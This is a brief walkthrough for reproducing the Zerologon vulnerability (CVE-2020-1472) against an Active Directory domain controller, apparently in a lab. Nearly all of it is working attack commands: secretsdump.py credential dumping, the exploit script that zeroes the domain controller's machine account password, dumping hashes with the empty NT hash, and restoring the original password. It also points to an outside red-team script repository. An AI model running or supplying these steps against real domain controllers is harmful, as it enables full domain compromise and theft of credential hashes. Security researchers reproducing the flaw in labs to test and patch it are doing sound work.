
CVE-2020-1472复现流程
After reproducing, there are some small bugs; it gets stuck on the login screen for a long time after rebooting. Not sure if it's just me. (Use cautiously in real environments.)
In practice, you can use secretsdump.py with the -use-vss and -history options to retrieve historical hashes for recovery.
Step 1
pip3 install -r requirements.txt
View hash
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

Attack
python3 CVE-2020-1472.py AD AD$ 192.168.175.132

Query domain controller hash
secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

Restore hash
python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

Query restored hash
secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

Script sources https://github.com/blackarrowsec/redteam-research